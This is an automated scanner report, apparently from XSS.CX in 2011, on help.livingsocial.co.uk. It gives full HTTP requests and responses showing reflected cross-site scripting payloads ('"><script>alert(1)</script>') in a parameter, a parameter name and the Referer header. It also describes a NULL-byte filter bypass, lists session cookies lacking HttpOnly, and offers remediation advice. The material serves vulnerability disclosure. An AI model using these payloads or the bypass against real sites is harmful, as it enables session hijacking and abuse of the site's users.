XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, help.livingsocial.co.uk

Report generated by XSS.CX at Sat Jul 09 06:45:39 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

1. Cross-site scripting (reflected)

1.1. http://help.livingsocial.co.uk/ics/support/default.asp [deptID parameter]

1.2. http://help.livingsocial.co.uk/ics/support/default.asp [name of an arbitrarily supplied request parameter]

1.3. http://help.livingsocial.co.uk/ics/support/default.asp [Referer HTTP header]

2. Cookie without HttpOnly flag set

2.1. http://help.livingsocial.co.uk/ics/support/KBFolder.asp

2.2. http://help.livingsocial.co.uk/ics/support/default.asp

2.3. http://help.livingsocial.co.uk/ics/support/splash.asp

3. Email addresses disclosed

4. HTML does not specify charset

5. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 3 instances of this issue:

/ics/support/default.asp [deptID parameter]
/ics/support/default.asp [name of an arbitrarily supplied request parameter]
/ics/support/default.asp [Referer HTTP header]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://help.livingsocial.co.uk/ics/support/default.asp [deptID parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/default.asp

Issue detail

The value of the deptID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3edf"><script>alert(1)</script>51eb4670a8f was submitted in the deptID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /ics/support/default.asp?deptID=15232b3edf"><script>alert(1)</script>51eb4670a8f HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 09 Jul 2011 10:50:52 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/
Set-Cookie: ParaturePortalDeptID=15232; path=/
Vary: Accept-Encoding
Content-Length: 3905

<HTML>
<HEAD>

<base href="http://help.livingsocial.co.uk/ics/support/" />

<script type="text/javascript" src="/
...[SNIP]...
<frame title="Left Navigation" name="cypLeft" src="KBFolder.asp?deptID=15232b3edf"><script>alert(1)</script>51eb4670a8f" marginheight=0 marginwidth=0 scrolling=auto>
...[SNIP]...

1.2. http://help.livingsocial.co.uk/ics/support/default.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/default.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dea0"><script>alert(1)</script>02350ca833e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ics/support/default.asp?deptID=15232&9dea0"><script>alert(1)</script>02350ca833e=1 HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 09 Jul 2011 10:50:52 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/
Set-Cookie: ParaturePortalDeptID=15232; path=/
Vary: Accept-Encoding
Content-Length: 3911

<HTML>
<HEAD>

<base href="http://help.livingsocial.co.uk/ics/support/" />

<script type="text/javascript" src="/
...[SNIP]...
<frame title="Left Navigation" name="cypLeft" src="KBFolder.asp?deptID=15232&9dea0"><script>alert(1)</script>02350ca833e=1" marginheight=0 marginwidth=0 scrolling=auto>
...[SNIP]...

1.3. http://help.livingsocial.co.uk/ics/support/default.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/default.asp

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63efe"-alert(1)-"ec8ef7437e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ics/support/default.asp?deptID=15232 HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Referer: http://www.google.com/search?hl=en&q=63efe"-alert(1)-"ec8ef7437e

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 09 Jul 2011 10:50:52 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/
Set-Cookie: ParaturePortalDeptID=15232; path=/
Vary: Accept-Encoding
Content-Length: 3883

<HTML>
<HEAD>

<base href="http://help.livingsocial.co.uk/ics/support/" />

<script type="text/javascript" src="/
...[SNIP]...
<SCRIPT language="javascript">
//used to maintain session in case of timeouts
var sessionDeptID = 15232;
window.name="support";
var backNavUrl = "http://www.google.com/search?hl=en&q=63efe"-alert(1)-"ec8ef7437e";

function exitSupport() {
   //if there are no referers or is a popup, then close
   if ((backNavUrl == "") || (backNavUrl == "popup")) {
       try {
           window.close();
       } catch (e_close) {}

       //
...[SNIP]...

2. Cookie without HttpOnly flag set previous next
There are 3 instances of this issue:

/ics/support/KBFolder.asp
/ics/support/default.asp
/ics/support/splash.asp

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

2.1. http://help.livingsocial.co.uk/ics/support/KBFolder.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/KBFolder.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ics/support/KBFolder.asp?deptID=15232 HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
Referer: http://help.livingsocial.co.uk/ics/support/default.asp?deptID=15232
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: IsMyCookieEnabled=Yes; ParaturePortalDeptID=15232; ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 09 Jul 2011 10:50:47 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/
Vary: Accept-Encoding
Content-Length: 6363

<script type="text/javascript">
var CYRACLE_HOST = "s5.parature.com";
var DEBUG = 'false';
</script>
<html>
<head>
<meta http-equiv='content-type' content='text/html; charset=utf-8
...[SNIP]...

2.2. http://help.livingsocial.co.uk/ics/support/default.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/default.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/
ParaturePortalDeptID=15232; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 09 Jul 2011 10:50:45 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/
Set-Cookie: ParaturePortalDeptID=15232; path=/
Vary: Accept-Encoding
Content-Length: 3819

<HTML>
<HEAD>

<base href="http://help.livingsocial.co.uk/ics/support/" />

<script type="text/javascript" src="/
...[SNIP]...

2.3. http://help.livingsocial.co.uk/ics/support/splash.asp previous

Summary

Severity:	Low
Confidence:	Firm
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/splash.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ics/support/splash.asp?deptID=15232 HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
Referer: http://help.livingsocial.co.uk/ics/support/default.asp?deptID=15232
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: IsMyCookieEnabled=Yes; ParaturePortalDeptID=15232; ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608

Response

HTTP/1.1 200 OK
Cache-Control: private
Connection: close
Date: Sat, 09 Jul 2011 10:50:47 GMT
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608; path=/
Vary: Accept-Encoding
Content-Length: 11989

<script type="text/javascript">
var CYRACLE_HOST = "s5.parature.com";
var DEBUG = 'false';
</script>
<HTML>
<HEAD>
<meta http-equiv='content-type' content='text/html; charset=utf-8
...[SNIP]...

3. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/inc/folder.js

Issue detail

The following email address was disclosed in the response:

martins@hks.com

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /ics/support/inc/folder.js HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
Referer: http://help.livingsocial.co.uk/ics/support/KBFolder.asp?deptID=15232
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: IsMyCookieEnabled=Yes; ParaturePortalDeptID=15232; ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608

Response

HTTP/1.1 200 OK
Content-Length: 13016
Content-Type: application/x-javascript
Last-Modified: Wed, 06 Jul 2011 15:43:12 GMT
Accept-Ranges: bytes
ETag: "0288069f33bcc1:1603d"
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 09 Jul 2011 10:50:46 GMT

//****************************************************************
// You are free to copy the "Folder-Tree" script as long as you
// keep this copyright notice:
// Script found in: http://www.geocities.com/Paris/LeftBank/2178/
// Author: Marcelino Alves Martins (martins@hks.com) December '97.
//****************************************************************

function Folder(desc, folderID, nItems, href, closeSrc, openSrc, target) //constructor
{

this.desc = des
...[SNIP]...

4. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.livingsocial.co.uk
Path:	/ics/support/accounts/15132/top(2921320113254790).html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /ics/support/accounts/15132/top(2921320113254790).html?accountID=15132&deptID=15232&styleID=15232 HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
Referer: http://help.livingsocial.co.uk/ics/support/default.asp?deptID=15232
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: IsMyCookieEnabled=Yes; ParaturePortalDeptID=15232; ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608

Response

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Length: 460
Content-Type: text/html
Last-Modified: Tue, 29 Mar 2011 13:32:53 GMT
Accept-Ranges: bytes
ETag: "80301ece15eecb1:1603d"
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 09 Jul 2011 10:50:46 GMT

<html><head><style> .bkdgd { background: #262626; width:100%; height:56px;padding:10px 0px 0px 11px} .title {display:block; background: url(http://a4.ak.lscdn.net/imgs/8b538ad9-933a-41d8-89fb-
...[SNIP]...

5. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://help.livingsocial.co.uk
Path:	/ics/inc/js/portalAjaxGatewayConfig.js

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /ics/inc/js/portalAjaxGatewayConfig.js HTTP/1.1
Host: help.livingsocial.co.uk
Proxy-Connection: keep-alive
Referer: http://help.livingsocial.co.uk/ics/support/default.asp?deptID=15232
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ParaturePortalDeptID=15232; ParaturePortalSessionID=f84d0b68%2Dbb6a%2D4932%2Daafe%2D36e54d490608

Response

HTTP/1.1 200 OK
Cache-Control: max-age=604800
Content-Length: 74
Content-Type: application/x-javascript
Last-Modified: Wed, 06 Jul 2011 16:08:38 GMT
Accept-Ranges: bytes
ETag: "04711f7f63bcc1:1603d"
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sat, 09 Jul 2011 10:50:45 GMT

PARATURE.ajax.gateway.config.sessionCookieName="ParaturePortalSessionID";

Report generated by XSS.CX at Sat Jul 09 06:45:39 CDT 2011.